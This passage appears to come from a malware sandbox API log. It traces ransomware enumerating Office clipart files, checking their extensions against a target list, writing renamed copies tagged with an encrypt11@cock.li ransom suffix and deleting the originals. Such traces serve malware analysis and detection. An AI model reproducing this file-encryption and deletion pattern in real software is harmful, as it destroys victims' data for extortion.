[0134.254] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0134.254] lstrlenW (lpString=".ppt") returned 4 [0134.254] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0134.254] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00114_.WMF") returned 68 [0134.254] lstrlenW (lpString=".zip") returned 4 [0134.254] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0134.254] lstrlenW (lpString=".rar") returned 4 [0134.254] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0134.254] lstrlenW (lpString=".bz2") returned 4 [0134.254] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0134.254] lstrlenW (lpString=".7z") returned 3 [0134.254] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0134.254] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00114_.WMF") returned 68 [0134.254] lstrlenW (lpString=".dbf") returned 4 [0134.254] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0134.254] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00114_.WMF") returned 68 [0134.254] lstrlenW (lpString=".1cd") returned 4 [0134.254] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0134.254] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00114_.WMF") returned 68 [0134.254] lstrlenW (lpString=".jpg") returned 4 [0134.254] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0134.255] lstrcmpiW (lpString1=".WMF", lpString2=".btix") returned 1 [0134.255] lstrlenW (lpString="IN00118_.WMF") returned 12 [0134.255] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00118_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00118_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4ac [0134.399] GetFileSizeEx (in: hFile=0x4ac, lpFileSize=0x2ecff14 | out: lpFileSize=0x2ecff14*=792) returned 1 [0134.399] CloseHandle (hObject=0x4ac) returned 1 [0134.399] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00118_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00118_.wmf")) returned 0x220 [0134.399] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00118_.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00118_.wmf.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0134.399] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00118_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00118_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4ac [0134.400] SetFilePointerEx (in: hFile=0x4ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec0 | out: lpNewFilePointer=0x0) returned 1 [0134.400] SetFilePointerEx (in: hFile=0x4ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec0 | out: lpNewFilePointer=0x0) returned 1 [0134.400] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00118_.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00118_.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c0 [0134.401] GetLastError () returned 0x0 [0134.401] ReadFile (in: hFile=0x4ac, lpBuffer=0x3b58020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfecc, lpOverlapped=0x0 | out: lpBuffer=0x3b58020*, lpNumberOfBytesRead=0x2ecfecc*=0x318, lpOverlapped=0x0) returned 1 [0134.402] WriteFile (in: hFile=0x4c0, lpBuffer=0x3b58020*, nNumberOfBytesToWrite=0x320, lpNumberOfBytesWritten=0x2ecfc94, lpOverlapped=0x0 | out: lpBuffer=0x3b58020*, lpNumberOfBytesWritten=0x2ecfc94*=0x320, lpOverlapped=0x0) returned 1 [0134.404] ReadFile (in: hFile=0x4ac, lpBuffer=0x3b58020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfecc, lpOverlapped=0x0 | out: lpBuffer=0x3b58020*, lpNumberOfBytesRead=0x2ecfecc*=0x0, lpOverlapped=0x0) returned 1 [0134.404] WriteFile (in: hFile=0x4c0, lpBuffer=0x3b58020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ecfc94, lpOverlapped=0x0 | out: lpBuffer=0x3b58020*, lpNumberOfBytesWritten=0x2ecfc94*=0xec, lpOverlapped=0x0) returned 1 [0134.404] SetEndOfFile (hFile=0x4c0) returned 1 [0134.404] CloseHandle (hObject=0x4c0) returned 1 [0134.404] SetFilePointerEx (in: hFile=0x4ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec0 | out: lpNewFilePointer=0x0) returned 1 [0134.404] SetEndOfFile (hFile=0x4ac) returned 1 [0134.406] CloseHandle (hObject=0x4ac) returned 1 [0134.406] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00118_.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0134.406] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00118_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00118_.wmf")) returned 1 [0134.407] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00118_.WMF") returned 68 [0134.407] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00118_.WMF") returned 68 [0134.407] lstrlenW (lpString=".doc") returned 4 [0134.407] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0134.407] lstrlenW (lpString=".docx") returned 5 [0134.407] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0134.407] lstrlenW (lpString=".pdf") returned 4 [0134.407] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0134.407] lstrlenW (lpString=".xls") returned 4 [0134.407] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0134.407] lstrlenW (lpString=".xlsx") returned 5 [0134.407] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0134.407] lstrlenW (lpString=".ppt") returned 4 [0134.407] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0134.407] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00118_.WMF") returned 68 [0134.407] lstrlenW (lpString=".zip") returned 4 [0134.407] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0134.407] lstrlenW (lpString=".rar") returned 4 [0134.407] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0134.407] lstrlenW (lpString=".bz2") returned 4 [0134.407] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0134.407] lstrlenW (lpString=".7z") returned 3 [0134.407] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0134.407] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00118_.WMF") returned 68 [0134.408] lstrlenW (lpString=".dbf") returned 4 [0134.408] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0134.408] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00118_.WMF") returned 68 [0134.408] lstrlenW (lpString=".1cd") returned 4 [0134.408] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0134.408] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00118_.WMF") returned 68 [0134.408] lstrlenW (lpString=".jpg") returned 4 [0134.408] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0134.408] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00118_.WMF") returned 68 [0134.408] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00118_.WMF") returned 68 [0134.408] lstrlenW (lpString=".doc") returned 4 [0134.408] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0134.408] lstrlenW (lpString=".docx") returned 5 [0134.408] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0134.408] lstrlenW (lpString=".pdf") returned 4 [0134.408] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0134.408] lstrlenW (lpString=".xls") returned 4 [0134.408] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0134.408] lstrlenW (lpString=".xlsx") returned 5 [0134.408] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0134.408] lstrlenW (lpString=".ppt") returned 4 [0134.408] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0134.408] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00118_.WMF") returned 68 [0134.408] lstrlenW (lpString=".zip") returned 4 [0134.408] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0134.408] lstrlenW (lpString=".rar") returned 4 [0134.408] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0134.408] lstrlenW (lpString=".bz2") returned 4 [0134.408] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0134.408] lstrlenW (lpString=".7z") returned 3 [0134.408] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0134.408] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00118_.WMF") returned 68 [0134.408] lstrlenW (lpString=".dbf") returned 4 [0134.408] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0134.408] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00118_.WMF") returned 68 [0134.408] lstrlenW (lpString=".1cd") returned 4 [0134.409] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0134.409] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00118_.WMF") returned 68 [0134.409] lstrlenW (lpString=".jpg") returned 4 [0134.409] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0134.409] lstrcmpiW (lpString1=".WMF", lpString2=".btix") returned 1 [0134.409] lstrlenW (lpString="IN00204_.WMF") returned 12 [0134.409] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00204_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00204_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4ac [0134.409] GetFileSizeEx (in: hFile=0x4ac, lpFileSize=0x2ecff14 | out: lpFileSize=0x2ecff14*=1848) returned 1 [0134.410] CloseHandle (hObject=0x4ac) returned 1 [0134.410] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00204_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00204_.wmf")) returned 0x220 [0134.410] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00204_.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00204_.wmf.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0134.410] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00204_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00204_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4ac [0134.410] SetFilePointerEx (in: hFile=0x4ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec0 | out: lpNewFilePointer=0x0) returned 1 [0134.410] SetFilePointerEx (in: hFile=0x4ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec0 | out: lpNewFilePointer=0x0) returned 1 [0134.410] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00204_.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00204_.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c0 [0134.411] GetLastError () returned 0x0 [0134.411] ReadFile (in: hFile=0x4ac, lpBuffer=0x3b58020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfecc, lpOverlapped=0x0 | out: lpBuffer=0x3b58020*, lpNumberOfBytesRead=0x2ecfecc*=0x738, lpOverlapped=0x0) returned 1 [0134.535] WriteFile (in: hFile=0x4c0, lpBuffer=0x3b58020*, nNumberOfBytesToWrite=0x740, lpNumberOfBytesWritten=0x2ecfc94, lpOverlapped=0x0 | out: lpBuffer=0x3b58020*, lpNumberOfBytesWritten=0x2ecfc94*=0x740, lpOverlapped=0x0) returned 1 [0134.535] ReadFile (in: hFile=0x4ac, lpBuffer=0x3b58020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfecc, lpOverlapped=0x0 | out: lpBuffer=0x3b58020*, lpNumberOfBytesRead=0x2ecfecc*=0x0, lpOverlapped=0x0) returned 1 [0134.535] WriteFile (in: hFile=0x4c0, lpBuffer=0x3b58020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ecfc94, lpOverlapped=0x0 | out: lpBuffer=0x3b58020*, lpNumberOfBytesWritten=0x2ecfc94*=0xec, lpOverlapped=0x0) returned 1 [0134.535] SetEndOfFile (hFile=0x4c0) returned 1 [0134.536] CloseHandle (hObject=0x4c0) returned 1 [0134.536] SetFilePointerEx (in: hFile=0x4ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec0 | out: lpNewFilePointer=0x0) returned 1 [0134.536] SetEndOfFile (hFile=0x4ac) returned 1 [0134.540] CloseHandle (hObject=0x4ac) returned 1 [0134.540] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00204_.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0134.542] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00204_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00204_.wmf")) returned 1 [0134.543] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00204_.WMF") returned 68 [0134.543] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00204_.WMF") returned 68 [0134.544] lstrlenW (lpString=".doc") returned 4 [0134.544] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0134.544] lstrlenW (lpString=".docx") returned 5 [0134.544] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0134.544] lstrlenW (lpString=".pdf") returned 4 [0134.544] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0134.544] lstrlenW (lpString=".xls") returned 4 [0134.544] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0134.544] lstrlenW (lpString=".xlsx") returned 5 [0134.544] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0134.544] lstrlenW (lpString=".ppt") returned 4 [0134.544] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0134.544] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00204_.WMF") returned 68 [0134.544] lstrlenW (lpString=".zip") returned 4 [0134.544] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0134.544] lstrlenW (lpString=".rar") returned 4 [0134.544] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0134.544] lstrlenW (lpString=".bz2") returned 4 [0134.544] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0134.544] lstrlenW (lpString=".7z") returned 3 [0134.544] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0134.544] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00204_.WMF") returned 68 [0134.544] lstrlenW (lpString=".dbf") returned 4 [0134.544] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0134.544] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00204_.WMF") returned 68 [0134.544] lstrlenW (lpString=".1cd") returned 4 [0134.544] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0134.544] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00204_.WMF") returned 68 [0134.544] lstrlenW (lpString=".jpg") returned 4 [0134.544] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0134.544] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00204_.WMF") returned 68 [0134.544] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00204_.WMF") returned 68 [0134.544] lstrlenW (lpString=".doc") returned 4 [0134.545] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0134.545] lstrlenW (lpString=".docx") returned 5 [0134.545] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0134.545] lstrlenW (lpString=".pdf") returned 4 [0134.545] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0134.545] lstrlenW (lpString=".xls") returned 4 [0134.545] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0134.545] lstrlenW (lpString=".xlsx") returned 5 [0134.545] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0134.545] lstrlenW (lpString=".ppt") returned 4 [0134.545] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0134.545] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00204_.WMF") returned 68 [0134.545] lstrlenW (lpString=".zip") returned 4 [0134.545] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0134.545] lstrlenW (lpString=".rar") returned 4 [0134.545] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0134.545] lstrlenW (lpString=".bz2") returned 4 [0134.545] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0134.545] lstrlenW (lpString=".7z") returned 3 [0134.545] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0134.545] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00204_.WMF") returned 68 [0134.545] lstrlenW (lpString=".dbf") returned 4 [0134.545] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0134.545] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00204_.WMF") returned 68 [0134.545] lstrlenW (lpString=".1cd") returned 4 [0134.545] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0134.545] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00204_.WMF") returned 68 [0134.545] lstrlenW (lpString=".jpg") returned 4 [0134.545] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0134.545] lstrcmpiW (lpString1=".WMF", lpString2=".btix") returned 1 [0134.545] lstrlenW (lpString="IN00343_.WMF") returned 12 [0134.546] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00343_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00343_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544 [0134.860] GetFileSizeEx (in: hFile=0x544, lpFileSize=0x2ecff14 | out: lpFileSize=0x2ecff14*=1892) returned 1 [0134.860] CloseHandle (hObject=0x544) returned 1 [0134.861] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00343_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00343_.wmf")) returned 0x220 [0134.861] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00343_.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00343_.wmf.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0134.861] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00343_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00343_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544 [0134.862] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec0 | out: lpNewFilePointer=0x0) returned 1 [0134.862] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec0 | out: lpNewFilePointer=0x0) returned 1 [0134.862] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00343_.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00343_.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x534 [0134.862] GetLastError () returned 0x0 [0134.862] ReadFile (in: hFile=0x544, lpBuffer=0x3b58020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfecc, lpOverlapped=0x0 | out: lpBuffer=0x3b58020*, lpNumberOfBytesRead=0x2ecfecc*=0x764, lpOverlapped=0x0) returned 1 [0134.877] WriteFile (in: hFile=0x534, lpBuffer=0x3b58020*, nNumberOfBytesToWrite=0x770, lpNumberOfBytesWritten=0x2ecfc94, lpOverlapped=0x0 | out: lpBuffer=0x3b58020*, lpNumberOfBytesWritten=0x2ecfc94*=0x770, lpOverlapped=0x0) returned 1 [0134.878] ReadFile (in: hFile=0x544, lpBuffer=0x3b58020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfecc, lpOverlapped=0x0 | out: lpBuffer=0x3b58020*, lpNumberOfBytesRead=0x2ecfecc*=0x0, lpOverlapped=0x0) returned 1 [0134.878] WriteFile (in: hFile=0x534, lpBuffer=0x3b58020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ecfc94, lpOverlapped=0x0 | out: lpBuffer=0x3b58020*, lpNumberOfBytesWritten=0x2ecfc94*=0xec, lpOverlapped=0x0) returned 1 [0134.878] SetEndOfFile (hFile=0x534) returned 1 [0134.878] CloseHandle (hObject=0x534) returned 1 [0134.878] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec0 | out: lpNewFilePointer=0x0) returned 1 [0134.878] SetEndOfFile (hFile=0x544) returned 1 [0134.880] CloseHandle (hObject=0x544) returned 1 [0134.880] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00343_.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0134.881] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00343_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00343_.wmf")) returned 1 [0134.881] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00343_.WMF") returned 68 [0134.881] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00343_.WMF") returned 68 [0134.881] lstrlenW (lpString=".doc") returned 4 [0134.881] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0134.881] lstrlenW (lpString=".docx") returned 5 [0134.881] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0134.881] lstrlenW (lpString=".pdf") returned 4 [0134.881] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0134.881] lstrlenW (lpString=".xls") returned 4 [0134.881] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0134.881] lstrlenW (lpString=".xlsx") returned 5 [0134.881] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0134.881] lstrlenW (lpString=".ppt") returned 4 [0134.881] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0134.881] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00343_.WMF") returned 68 [0134.881] lstrlenW (lpString=".zip") returned 4 [0134.881] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0134.882] lstrlenW (lpString=".rar") returned 4 [0134.882] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0134.882] lstrlenW (lpString=".bz2") returned 4 [0134.882] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0134.882] lstrlenW (lpString=".7z") returned 3 [0134.882] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0134.882] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00343_.WMF") returned 68 [0134.882] lstrlenW (lpString=".dbf") returned 4 [0134.882] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0134.882] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00343_.WMF") returned 68 [0134.882] lstrlenW (lpString=".1cd") returned 4 [0134.882] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0134.882] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00343_.WMF") returned 68 [0134.882] lstrlenW (lpString=".jpg") returned 4 [0134.882] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0134.882] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00343_.WMF") returned 68 [0134.882] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00343_.WMF") returned 68 [0134.882] lstrlenW (lpString=".doc") returned 4 [0134.882] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0134.882] lstrlenW (lpString=".docx") returned 5 [0134.882] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0134.882] lstrlenW (lpString=".pdf") returned 4 [0134.882] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0134.882] lstrlenW (lpString=".xls") returned 4 [0134.882] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0134.882] lstrlenW (lpString=".xlsx") returned 5 [0134.882] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0134.882] lstrlenW (lpString=".ppt") returned 4 [0134.882] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0134.882] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00343_.WMF") returned 68 [0134.882] lstrlenW (lpString=".zip") returned 4 [0134.882] lstrcmpiW 